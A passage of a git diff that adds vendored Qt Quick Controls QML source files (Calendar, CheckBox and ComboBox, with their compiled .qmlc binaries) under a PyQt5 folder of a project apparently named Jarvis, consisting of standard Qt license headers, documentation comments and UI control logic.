calendar + + /*! + \qmlproperty date Calendar::selectedDate + + The date that has been selected by the user. + + This property is subject to the following validation: + + \list + \li If selectedDate is outside the range of \l minimumDate and + \l maximumDate, it will be clamped to be within that range. + + \li selectedDate will not be changed if \c undefined or some other + invalid value is assigned. + + \li If there are hours, minutes, seconds or milliseconds set, they + will be removed. + \endlist + + The default value is the current date, which is equivalent to: + + \code + new Date() + \endcode + */ + property alias selectedDate: rangedDate.date + + /*! + \qmlproperty date Calendar::minimumDate + + The earliest date that this calendar will accept. + + By default, this property is set to the earliest minimum date + (1 January, 1 AD). + */ + property alias minimumDate: rangedDate.minimumDate + + /*! + \qmlproperty date Calendar::maximumDate + + The latest date that this calendar will accept. + + By default, this property is set to the latest maximum date + (25 October, 275759 AD). + */ + property alias maximumDate: rangedDate.maximumDate + + /*! + This property determines which month in visibleYear is shown on the + calendar. + + The month is from \c 0 to \c 11 to be consistent with the JavaScript + Date object. + + \sa visibleYear + */ + property int visibleMonth: selectedDate.getMonth() + + /*! + This property determines which year is shown on the + calendar. + + \sa visibleMonth + */ + property int visibleYear: selectedDate.getFullYear() + + onSelectedDateChanged: { + // When the selected date changes, the view should move back to that date. + visibleMonth = selectedDate.getMonth(); + visibleYear = selectedDate.getFullYear(); + } + + RangedDate { + id: rangedDate + date: new Date() + minimumDate: CalendarUtils.minimumCalendarDate + maximumDate: CalendarUtils.maximumCalendarDate + } + + /*! + This property determines the visibility of the frame + surrounding the calendar. + + The default value is \c true. + */ + property bool frameVisible: true + + /*! + This property determines the visibility of week numbers. + + The default value is \c false. + */ + property bool weekNumbersVisible: false + + /*! + This property determines the visibility of the navigation bar. + \since QtQuick.Controls 1.3 + + The default value is \c true. + */ + property bool navigationBarVisible: true + + /*! + \qmlproperty enum Calendar::dayOfWeekFormat + + The format in which the days of the week (in the header) are displayed. + + \c Locale.ShortFormat is the default and recommended format, as + \c Locale.NarrowFormat may not be fully supported by each locale (see + \l {Locale String Format Types}) and + \c Locale.LongFormat may not fit within the header cells. + */ + property int dayOfWeekFormat: Locale.ShortFormat + + /*! + \qmlproperty object Calendar::locale + \since QtQuick.Controls 1.6 + + This property controls the locale that this calendar uses to display + itself. + + The locale affects how dates and day names are localized, as well as + which day is considered the first in a week. + + The following example sets an Australian locale: + + \code + locale: Qt.locale("en_AU") + \endcode + + The default value is equivalent to \c Qt.locale(). + */ + property var locale: Qt.locale() + + // left for compatibility reasons; can be removed in next minor version/Qt 6 + property alias __locale: calendar.locale + + /*! + \internal + + This property holds the model that will be used by the Calendar to + populate the dates available to the user. + */ + property CalendarModel __model: CalendarModel { + locale: calendar.locale + + // TODO: don't set the hour when QTBUG-56787 is fixed + visibleDate: new Date(visibleYear, visibleMonth, 1, 12) + } + + style: Settings.styleComponent(Settings.style, "CalendarStyle.qml", calendar) + + /*! + \qmlsignal Calendar::hovered(date date) + + Emitted when the mouse hovers over a valid date in the calendar. + + \e date is the date that was hovered over. + + The corresponding handler is \c onHovered. + */ + signal hovered(date date) + + /*! + \qmlsignal Calendar::pressed(date date) + + Emitted when the mouse is pressed on a valid date in the calendar. + + This is also emitted when dragging the mouse to another date while it is pressed. + + \e date is the date that the mouse was pressed on. + + The corresponding handler is \c onPressed. + */ + signal pressed(date date) + + /*! + \qmlsignal Calendar::released(date date) + + Emitted when the mouse is released over a valid date in the calendar. + + \e date is the date that the mouse was released over. + + The corresponding handler is \c onReleased. + */ + signal released(date date) + + /*! + \qmlsignal Calendar::clicked(date date) + + Emitted when the mouse is clicked on a valid date in the calendar. + + \e date is the date that the mouse was clicked on. + + The corresponding handler is \c onClicked. + */ + signal clicked(date date) + + /*! + \qmlsignal Calendar::doubleClicked(date date) + + Emitted when the mouse is double-clicked on a valid date in the calendar. + + \e date is the date that the mouse was double-clicked on. + + The corresponding handler is \c onDoubleClicked. + */ + signal doubleClicked(date date) + + /*! + \qmlsignal Calendar::pressAndHold(date date) + \since QtQuick.Controls 1.3 + + Emitted when the mouse is pressed and held on a valid date in the calendar. + + \e date is the date that the mouse was pressed on. + + The corresponding handler is \c onPressAndHold. + */ + signal pressAndHold(date date) + + /*! + \qmlmethod void Calendar::showPreviousMonth() + Sets visibleMonth to the previous month. + */ + function showPreviousMonth() { + if (visibleMonth === 0) { + visibleMonth = CalendarUtils.monthsInAYear - 1; + --visibleYear; + } else { + --visibleMonth; + } + } + + /*! + \qmlmethod void Calendar::showNextMonth() + Sets visibleMonth to the next month. + */ + function showNextMonth() { + if (visibleMonth === CalendarUtils.monthsInAYear - 1) { + visibleMonth = 0; + ++visibleYear; + } else { + ++visibleMonth; + } + } + + /*! + \qmlmethod void Calendar::showPreviousYear() + Sets visibleYear to the previous year. + */ + function showPreviousYear() { + if (visibleYear - 1 >= minimumDate.getFullYear()) { + --visibleYear; + } + } + + /*! + \qmlmethod void Calendar::showNextYear() + Sets visibleYear to the next year. + */ + function showNextYear() { + if (visibleYear + 1 <= maximumDate.getFullYear()) { + ++visibleYear; + } + } + + /*! + Selects the month before the current month in \l selectedDate. + */ + function __selectPreviousMonth() { + calendar.selectedDate = CalendarUtils.setMonth(calendar.selectedDate, calendar.selectedDate.getMonth() - 1); + } + + /*! + Selects the month after the current month in \l selectedDate. + */ + function __selectNextMonth() { + calendar.selectedDate = CalendarUtils.setMonth(calendar.selectedDate, calendar.selectedDate.getMonth() + 1); + } + + /*! + Selects the week before the current week in \l selectedDate. + */ + function __selectPreviousWeek() { + var newDate = new Date(calendar.selectedDate); + newDate.setDate(newDate.getDate() - CalendarUtils.daysInAWeek); + calendar.selectedDate = newDate; + } + + /*! + Selects the week after the current week in \l selectedDate. + */ + function __selectNextWeek() { + var newDate = new Date(calendar.selectedDate); + newDate.setDate(newDate.getDate() + CalendarUtils.daysInAWeek); + calendar.selectedDate = newDate; + } + + /*! + Selects the first day of the current month in \l selectedDate. + */ + function __selectFirstDayOfMonth() { + var newDate = new Date(calendar.selectedDate); + newDate.setDate(1); + calendar.selectedDate = newDate; + } + + /*! + Selects the last day of the current month in \l selectedDate. + */ + function __selectLastDayOfMonth() { + var newDate = new Date(calendar.selectedDate); + newDate.setDate(CalendarUtils.daysInMonth(newDate)); + calendar.selectedDate = newDate; + } + + /*! + Selects the day before the current day in \l selectedDate. + */ + function __selectPreviousDay() { + var newDate = new Date(calendar.selectedDate); + newDate.setDate(newDate.getDate() - 1); + calendar.selectedDate = newDate; + } + + /*! + Selects the day after the current day in \l selectedDate. + */ + function __selectNextDay() { + var newDate = new Date(calendar.selectedDate); + newDate.setDate(newDate.getDate() + 1); + calendar.selectedDate = newDate; + } + + Keys.onLeftPressed: { + calendar.__selectPreviousDay(); + } + + Keys.onUpPressed: { + calendar.__selectPreviousWeek(); + } + + Keys.onDownPressed: { + calendar.__selectNextWeek(); + } + + Keys.onRightPressed: { + calendar.__selectNextDay(); + } + + Keys.onPressed: { + if (event.key === Qt.Key_Home) { + calendar.__selectFirstDayOfMonth(); + event.accepted = true; + } else if (event.key === Qt.Key_End) { + calendar.__selectLastDayOfMonth(); + event.accepted = true; + } else if (event.key === Qt.Key_PageUp) { + calendar.__selectPreviousMonth(); + event.accepted = true; + } else if (event.key === Qt.Key_PageDown) { + calendar.__selectNextMonth(); + event.accepted = true; + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Calendar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Calendar.qmlc new file mode 100644 index 00000000..0c6fe8b3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Calendar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/CheckBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/CheckBox.qml new file mode 100644 index 00000000..d2448168 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/CheckBox.qml @@ -0,0 +1,197 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype CheckBox + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief A checkbox with a text label. + + \image checkbox.png + + A CheckBox is an option button that can be toggled on (checked) or off + (unchecked). Checkboxes are typically used to represent features in an + application that can be enabled or disabled without affecting others. + + The state of the checkbox can be set with the \l {AbstractCheckable::checked}{checked} property. + + In addition to the checked and unchecked states, there is a third state: + partially checked. This state indicates that the + regular checked/unchecked state can not be determined; generally because of + other states that affect the checkbox. This state is useful when several + child nodes are selected in a treeview, for example. + + The partially checked state can be made available to the user by setting + \l partiallyCheckedEnabled to \c true, or set directly by setting + \l checkedState to \c Qt.PartiallyChecked. \l checkedState behaves + identically to \l {AbstractCheckable::checked}{checked} when \l partiallyCheckedEnabled + is \c false; setting one will appropriately set the other. + + The label is shown next to the checkbox, and you can set the label text using its + \l {AbstractCheckable::text}{text} property. + + \qml + Column { + CheckBox { + text: qsTr("Breakfast") + checked: true + } + CheckBox { + text: qsTr("Lunch") + } + CheckBox { + text: qsTr("Dinner") + checked: true + } + } + \endqml + + Whenever a CheckBox is clicked, it emits the \l {AbstractCheckable::clicked}{clicked()} signal. + + You can create a custom appearance for a CheckBox by + assigning a \l {CheckBoxStyle}. +*/ + +AbstractCheckable { + id: checkBox + + /*! + \qmlproperty enumeration CheckBox::checkedState + + This property indicates the current checked state of the checkbox. + + Possible values: + \c Qt.UnChecked - The checkbox is not checked (default). + \c Qt.Checked - The checkbox is checked. + \c Qt.PartiallyChecked - The checkbox is in a partially checked (or + "mixed") state. + + The \l {AbstractCheckable::checked}{checked} property also determines whether + this property is \c Qt.Checked or \c Qt.UnChecked, and vice versa. + */ + property int checkedState: checked ? Qt.Checked : Qt.Unchecked + + /*! + This property determines whether the \c Qt.PartiallyChecked state is + available. + + A checkbox may be in a partially checked state when the regular checked + state can not be determined. + + Setting \l checkedState to \c Qt.PartiallyChecked will implicitly set + this property to \c true. + + If this property is \c true, \l {AbstractCheckable::checked}{checked} will be \c false. + + By default, this property is \c false. + */ + property bool partiallyCheckedEnabled: false + + /*! + \internal + True if onCheckedChanged should be ignored because we were reacting + to onCheckedStateChanged. + */ + property bool __ignoreChecked: false + + /*! + \internal + True if onCheckedStateChanged should be ignored because we were reacting + to onCheckedChanged. + */ + property bool __ignoreCheckedState: false + + style: Settings.styleComponent(Settings.style, "CheckBoxStyle.qml", checkBox) + + activeFocusOnTab: true + + Accessible.role: Accessible.CheckBox + Accessible.name: text + + __cycleStatesHandler: __cycleCheckBoxStates + + onCheckedChanged: { + if (!__ignoreChecked) { + __ignoreCheckedState = true; + checkedState = checked ? Qt.Checked : Qt.Unchecked; + __ignoreCheckedState = false; + } + } + + onCheckedStateChanged: { + __ignoreChecked = true; + if (checkedState === Qt.PartiallyChecked) { + partiallyCheckedEnabled = true; + checked = false; + } else if (!__ignoreCheckedState) { + checked = checkedState === Qt.Checked; + } + __ignoreChecked = false; + } + + onPartiallyCheckedEnabledChanged: { + if (exclusiveGroup && partiallyCheckedEnabled) { + console.warn("Cannot have partially checked boxes in an ExclusiveGroup."); + } + } + + onExclusiveGroupChanged: { + if (exclusiveGroup && partiallyCheckedEnabled) { + console.warn("Cannot have partially checked boxes in an ExclusiveGroup."); + } + } + + /*! \internal */ + function __cycleCheckBoxStates() { + if (!partiallyCheckedEnabled) { + checked = !checked; + } else { + switch (checkedState) { + case Qt.Unchecked: checkedState = Qt.Checked; break; + case Qt.Checked: checkedState = Qt.PartiallyChecked; break; + case Qt.PartiallyChecked: checkedState = Qt.Unchecked; break; + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/CheckBox.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/CheckBox.qmlc new file mode 100644 index 00000000..5c0afdb5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/CheckBox.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ComboBox.qml new file mode 100644 index 00000000..b01cfe12 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/ComboBox.qml @@ -0,0 +1,717 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ComboBox + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief Provides a drop-down list functionality. + + \image combobox.png + + Add items to the ComboBox by assigning it a ListModel, or a list of strings + to the \l model property. + + \qml + ComboBox { + width: 200 + model: [ "Banana", "Apple", "Coconut" ] + } + \endqml + + In this example we are demonstrating how to use a ListModel with a combo box. + + \qml + ComboBox { + currentIndex: 2 + model: ListModel { + id: cbItems + ListElement { text: "Banana"; color: "Yellow" } + ListElement { text: "Apple"; color: "Green" } + ListElement { text: "Coconut"; color: "Brown" } + } + width: 200 + onCurrentIndexChanged: console.debug(cbItems.get(currentIndex).text + ", " + cbItems.get(currentIndex).color) + } + \endqml + + You can make a combo box editable by setting the \l editable property. An editable combo box will + autocomplete its text based on what is available in the model. + + In the next example we demonstrate how you can append content to an editable combo box by + reacting to the \l accepted signal. Note that you have to explicitly prevent duplicates. + + \qml + ComboBox { + editable: true + model: ListModel { + id: model + ListElement { text: "Banana"; color: "Yellow" } + ListElement { text: "Apple"; color: "Green" } + ListElement { text: "Coconut"; color: "Brown" } + } + onAccepted: { + if (find(currentText) === -1) { + model.append({text: editText}) + currentIndex = find(editText) + } + } + } + \endqml + + + You can create a custom appearance for a ComboBox by + assigning a \l {ComboBoxStyle}. +*/ + +Control { + id: comboBox + + /*! \qmlproperty model ComboBox::model + The model to populate the ComboBox from. + + Changing the model after initialization will reset \l currentIndex to \c 0. + */ + property alias model: popupItems.model + + /*! The model role used for populating the ComboBox. */ + property string textRole: "" + + /*! \qmlproperty int ComboBox::currentIndex + The index of the currently selected item in the ComboBox. + + Setting currentIndex to \c -1 will reset the selection and clear the text + label. If \l editable is \c true, you may also need to manually clear \l editText. + + \sa model + */ + property alias currentIndex: popup.__selectedIndex + + /*! \qmlproperty string ComboBox::currentText + The text of the currently selected item in the ComboBox. + + \note Since \c currentText depends on \c currentIndex, there's no way to ensure \c currentText + will be up to date whenever a \c onCurrentIndexChanged handler is called. + */ + readonly property alias currentText: popup.currentText + + /*! This property holds whether the combo box can be edited by the user. + The default value is \c false. + \since QtQuick.Controls 1.1 + */ + property bool editable: false + + /*! \qmlproperty string ComboBox::editText + \since QtQuick.Controls 1.1 + This property specifies text being manipulated by the user for an editable combo box. + */ + property alias editText: input.text + + /*! \qmlproperty enumeration ComboBox::inputMethodHints + \since QtQuick.Controls 1.5 + Provides hints to the input method about the expected content of the combo box and how it + should operate. + + The value is a bit-wise combination of flags or \c Qt.ImhNone if no hints are set. + + Flags that alter behavior are: + + \list + \li Qt.ImhHiddenText - Characters should be hidden, as is typically used when entering passwords. + \li Qt.ImhSensitiveData - Typed text should not be stored by the active input method + in any persistent storage like predictive user dictionary. + \li Qt.ImhNoAutoUppercase - The input method should not try to automatically switch to upper case + when a sentence ends. + \li Qt.ImhPreferNumbers - Numbers are preferred (but not required). + \li Qt.ImhPreferUppercase - Upper case letters are preferred (but not required). + \li Qt.ImhPreferLowercase - Lower case letters are preferred (but not required). + \li Qt.ImhNoPredictiveText - Do not use predictive text (i.e. dictionary lookup) while typing. + + \li Qt.ImhDate - The text editor functions as a date field. + \li Qt.ImhTime - The text editor functions as a time field. + \endlist + + Flags that restrict input (exclusive flags) are: + + \list + \li Qt.ImhDigitsOnly - Only digits are allowed. + \li Qt.ImhFormattedNumbersOnly - Only number input is allowed. This includes decimal point and minus sign. + \li Qt.ImhUppercaseOnly - Only upper case letter input is allowed. + \li Qt.ImhLowercaseOnly - Only lower case letter input is allowed. + \li Qt.ImhDialableCharactersOnly - Only characters suitable for phone dialing are allowed. + \li Qt.ImhEmailCharactersOnly - Only characters suitable for email addresses are allowed. + \li Qt.ImhUrlCharactersOnly - Only characters suitable for URLs are allowed. + \endlist + + Masks: + + \list + \li Qt.ImhExclusiveInputMask - This mask yields nonzero if any of the exclusive flags are used. + \endlist + */ + property alias inputMethodHints: input.inputMethodHints + + /*! This property specifies whether the combobox should gain active focus when pressed. + The default value is \c false. */ + property bool activeFocusOnPress: false + + /*! \qmlproperty bool ComboBox::pressed + + This property holds whether the button is being pressed. */ + readonly property bool pressed: mouseArea.effectivePressed || popup.__popupVisible + + /*! \qmlproperty bool ComboBox::hovered + + This property indicates whether the control is being hovered. + */ + readonly property bool hovered: mouseArea.containsMouse || input.containsMouse + + /*! \qmlproperty int ComboBox::count + \since QtQuick.Controls 1.1 + This property holds the number of items in the combo box. + */ + readonly property alias count: popupItems.count + + /*! \qmlmethod string ComboBox::textAt(int index) + Returns the text for a given \a index. + If an invalid index is provided, \c null is returned + \since QtQuick.Controls 1.1 + */ + function textAt (index) { + if (index >= count || index < 0) + return null; + return popupItems.objectAt(index).text; + } + + /*! \qmlmethod int ComboBox::find(string text) + Finds and returns the index of a given \a text + If no match is found, \c -1 is returned. The search is case sensitive. + \since QtQuick.Controls 1.1 + */ + function find (text) { + return input.find(text, Qt.MatchExactly) + } + + /*! + \qmlproperty Validator ComboBox::validator + \since QtQuick.Controls 1.1 + + Allows you to set a text validator for an editable ComboBox. + When a validator is set, + the text field will only accept input which leaves the text property in + an intermediate state. The accepted signal will only be sent + if the text is in an acceptable state when enter is pressed. + + Currently supported validators are \l[QtQuick]{IntValidator}, + \l[QtQuick]{DoubleValidator}, and \l[QtQuick]{RegExpValidator}. An + example of using validators is shown below, which allows input of + integers between 11 and 31 into the text field: + + \note This property is only applied when \l editable is \c true + + \qml + import QtQuick 2.2 + import QtQuick.Controls 1.2 + + ComboBox { + editable: true + model: 10 + validator: IntValidator {bottom: 0; top: 10;} + focus: true + } + \endqml + + \sa acceptableInput, accepted, editable + */ + property alias validator: input.validator + + /*! + \since QtQuick.Controls 1.3 + + This property contains the edit \l Menu for working + with text selection. Set it to \c null if no menu + is wanted. + + \note The menu is only in use when \l editable is \c true + */ + property Component menu: input.editMenu.defaultMenu + + /*! + \qmlproperty bool ComboBox::acceptableInput + \since QtQuick.Controls 1.1 + + Returns \c true if the combo box contains acceptable + text in the editable text field. + + If a validator was set, this property will return \c + true if the current text satisfies the validator or mask as + a final string (not as an intermediate string). + + \sa validator, accepted + + */ + readonly property alias acceptableInput: input.acceptableInput + + /*! + \qmlproperty bool ComboBox::selectByMouse + \since QtQuick.Controls 1.3 + + This property determines if the user can select the text in + the editable text field with the mouse. + + The default value is \c true. + */ + property bool selectByMouse: true + + /*! + \qmlproperty bool ComboBox::inputMethodComposing + \since QtQuick.Controls 1.3 + + This property holds whether an editable ComboBox has partial text input from an input method. + + While it is composing an input method may rely on mouse or key events from the ComboBox + to edit or commit the partial text. This property can be used to determine when to disable + events handlers that may interfere with the correct operation of an input method. + */ + readonly property bool inputMethodComposing: !!input.inputMethodComposing + + /*! + \qmlsignal ComboBox::accepted() + \since QtQuick.Controls 1.1 + + This signal is emitted when the Return or Enter key is pressed on an + \l editable combo box. If the confirmed string is not currently in the model, + the currentIndex will be set to -1 and the \l currentText will be updated + accordingly. + + \note If there is a \l validator set on the combobox, + the signal will only be emitted if the input is in an acceptable state. + + The corresponding handler is \c onAccepted. + */ + signal accepted + + /*! + \qmlsignal ComboBox::activated(int index) + \since QtQuick.Controls 1.1 + + This signal is similar to currentIndex changed, but will only + be emitted if the combo box index was changed by the user, not + when set programmatically. + + \e index is the activated model index, or \c -1 if a new string is + accepted. + + The corresponding handler is \c onActivated. + */ + signal activated(int index) + + /*! + \qmlmethod void ComboBox::selectAll() + \since QtQuick.Controls 1.1 + + Causes all \l editText to be selected. + */ + function selectAll() { + input.selectAll() + } + + /*! \internal */ + function __selectPrevItem() { + input.blockUpdate = true + if (currentIndex > 0) { + currentIndex--; + input.text = popup.currentText; + activated(currentIndex); + } + input.blockUpdate = false; + } + + /*! \internal */ + function __selectNextItem() { + input.blockUpdate = true; + if (currentIndex < popupItems.count - 1) { + currentIndex++; + input.text = popup.currentText; + activated(currentIndex); + } + input.blockUpdate = false; + } + + /*! \internal */ + property var __popup: popup + + style: Settings.styleComponent(Settings.style, "ComboBoxStyle.qml", comboBox) + + activeFocusOnTab: true + + Accessible.name: editable ? editText : currentText + Accessible.role: Accessible.ComboBox + Accessible.editable: editable + + MouseArea { + id: mouseArea + property bool overridePressed: false + readonly property bool effectivePressed: (pressed || overridePressed) && containsMouse + anchors.fill: parent + hoverEnabled: Settings.hoverEnabled + onPressed: { + if (comboBox.activeFocusOnPress) + forceActiveFocus() + if (!Settings.hasTouchScreen) + popup.toggleShow() + else + overridePressed = true + } + onCanceled: overridePressed = false + onClicked: { + if (Settings.hasTouchScreen) + popup.toggleShow() + overridePressed = false + } + onWheel: { + if (wheel.angleDelta.y > 0) { + __selectPrevItem(); + } else if (wheel.angleDelta.y < 0){ + __selectNextItem(); + } + } + } + + Component.onCompleted: { + if (currentIndex === -1) + currentIndex = 0 + + popup.ready = true + popup.resolveTextValue(textRole) + } + + Keys.onPressed: { + // Perform one-character based lookup for non-editable combo box + if (!editable && event.text.length > 0) { + var index = input.find(event.text, Qt.MatchStartsWith); + if (index >= 0 && index !== currentIndex) { + currentIndex = index; + activated(currentIndex); + } + } + } + + TextInputWithHandles { + id: input + + visible: editable + enabled: editable + focus: true + clip: contentWidth > width + + control: comboBox + cursorHandle: __style ? __style.__cursorHandle : undefined + selectionHandle: __style ? __style.__selectionHandle : undefined + + anchors.fill: parent + anchors.leftMargin: __style ? __style.padding.left : 0 + anchors.topMargin: __style ? __style.padding.top : 0 + anchors.rightMargin: __style ? __panel.dropDownButtonWidth + __style.padding.right : 0 + anchors.bottomMargin: __style ? __style.padding.bottom: 0 + + verticalAlignment: Text.AlignVCenter + + font: __panel && __panel.font !== undefined ? __panel.font : TextSingleton.font + renderType: __style ? __style.renderType : Text.NativeRendering + color: __panel ? __panel.textColor : "black" + selectionColor: __panel ? __panel.selectionColor : "blue" + selectedTextColor: __panel ? __panel.selectedTextColor : "white" + onAccepted: { + var idx = input.find(editText, Qt.MatchFixedString) + if (idx > -1) { + editTextMatches = true; + currentIndex = idx; + editText = textAt(idx); + } else { + editTextMatches = false; + currentIndex = -1; + popup.currentText = editText; + } + comboBox.accepted(); + } + + property bool blockUpdate: false + property string prevText + property bool editTextMatches: true + + function find (text, searchType) { + for (var i = 0 ; i < popupItems.count ; ++i) { + var currentString = popupItems.objectAt(i).text + if (searchType === Qt.MatchExactly) { + if (text === currentString) + return i; + } else if (searchType === Qt.CaseSensitive) { + if (currentString.indexOf(text) === 0) + return i; + } else if (searchType === Qt.MatchFixedString) { + if (currentString.toLowerCase().indexOf(text.toLowerCase()) === 0 + && currentString.length === text.length) + return i; + } else if (currentString.toLowerCase().indexOf(text.toLowerCase()) === 0) { + return i + } + } + return -1; + } + + // Finds first entry and shortest entry. Used by editable combo + function tryComplete (inputText) { + var candidate = ""; + var shortestString = ""; + for (var i = 0 ; i < popupItems.count ; ++i) { + var currentString = popupItems.objectAt(i).text; + + if (currentString.toLowerCase().indexOf(inputText.toLowerCase()) === 0) { + if (candidate.length) { // Find smallest possible match + var cmp = 0; + + // We try to complete the shortest string that matches our search + if (currentString.length < candidate.length) + candidate = currentString + + while (cmp < Math.min(currentString.length, shortestString.length) + && shortestString[cmp].toLowerCase() === currentString[cmp].toLowerCase()) + cmp++; + shortestString = shortestString.substring(0, cmp); + } else { // First match, select as current index and find other matches + candidate = currentString; + shortestString = currentString; + } + } + } + + if (candidate.length) + return inputText + candidate.substring(inputText.length, candidate.length); + return inputText; + } + + property bool allowComplete: false + Keys.forwardTo: comboBox + Keys.onPressed: allowComplete = (event.key !== Qt.Key_Backspace && event.key !== Qt.Key_Delete); + + onTextChanged: { + if (editable && !blockUpdate && allowComplete && text.length > 0) { + var completed = input.tryComplete(text) + if (completed.length > text.length) { + var oldtext = input.text; + input.text = completed; + input.select(text.length, oldtext.length); + } + } + prevText = text + } + } + + Qml.Binding { + target: input + property: "text" + value: popup.currentText + when: input.editTextMatches + restoreMode: Binding.RestoreBinding + } + + onTextRoleChanged: popup.resolveTextValue(textRole) + + ExclusiveGroup { id: eg } + + Menu { + id: popup + objectName: "popup" + + style: isPopup ? __style.__popupStyle : __style.__dropDownStyle + + property string currentText: selectedText + onSelectedTextChanged: popup.currentText = selectedText + + property string selectedText + property int triggeredIndex: -1 + on__SelectedIndexChanged: { + if (__selectedIndex === -1) + popup.currentText = "" + else + updateSelectedText() + if (triggeredIndex >= 0 && triggeredIndex == __selectedIndex) { + activated(currentIndex) + triggeredIndex = -1 + } + } + property string textRole: "" + + property bool ready: false + property bool isPopup: !editable && !!__panel && __panel.popup + + property int y: isPopup ? (comboBox.__panel.height - comboBox.__panel.implicitHeight) / 2.0 : comboBox.__panel.height + __minimumWidth: comboBox.width + __visualItem: comboBox + + property bool modelIsArray: false + + Instantiator { + id: popupItems + active: false + + property bool updatingModel: false + onModelChanged: { + popup.modelIsArray = !!model ? model.constructor === Array : false + if (active) { + if (updatingModel && popup.__selectedIndex === 0) { + // We still want to update the currentText + popup.updateSelectedText() + } else { + updatingModel = true + popup.__selectedIndex = 0 + } + } + popup.resolveTextValue(comboBox.textRole) + } + + MenuItem { + text: popup.textRole === '' ? + modelData : + ((popup.modelIsArray ? modelData[popup.textRole] : model[popup.textRole]) || '') + onTriggered: { + popup.triggeredIndex = index + comboBox.editText = text + } + onTextChanged: if (index === currentIndex) popup.updateSelectedText(); + checkable: true + exclusiveGroup: eg + } + onObjectAdded: { + popup.insertItem(index, object) + if (!updatingModel && index === popup.__selectedIndex) + popup.selectedText = object["text"] + } + onObjectRemoved: popup.removeItem(object) + + } + + function resolveTextValue(initialTextRole) { + if (!ready || !model) { + popupItems.active = false + return; + } + + var get = model['get']; + if (!get && popup.modelIsArray && !!model[0]) { + if (model[0].constructor !== String && model[0].constructor !== Number) + get = function(i) { return model[i]; } + } + + var modelMayHaveRoles = get !== undefined + textRole = initialTextRole + if (textRole === "" && modelMayHaveRoles && get(0)) { + // No text role set, check whether model has a suitable role + // If 'text' is found, or there's only one role, pick that. + var listElement = get(0) + var roleName = "" + var roleCount = 0 + for (var role in listElement) { + if (listElement[role].constructor === Function) + continue; + if (role === "text") { + roleName = role + break + } else if (!roleName) { + roleName = role + } + ++roleCount + } + if (roleCount > 1 && roleName !== "text") { + console.warn("No suitable 'textRole' found for ComboBox.") + } else { + textRole = roleName + } + } + + if (!popupItems.active) + popupItems.active = true + else + updateSelectedText() + } + + function toggleShow() { + if (popup.__popupVisible) { + popup.__dismissAndDestroy() + } else { + if (items[__selectedIndex]) + items[__selectedIndex].checked = true + __currentIndex = comboBox.currentIndex + if 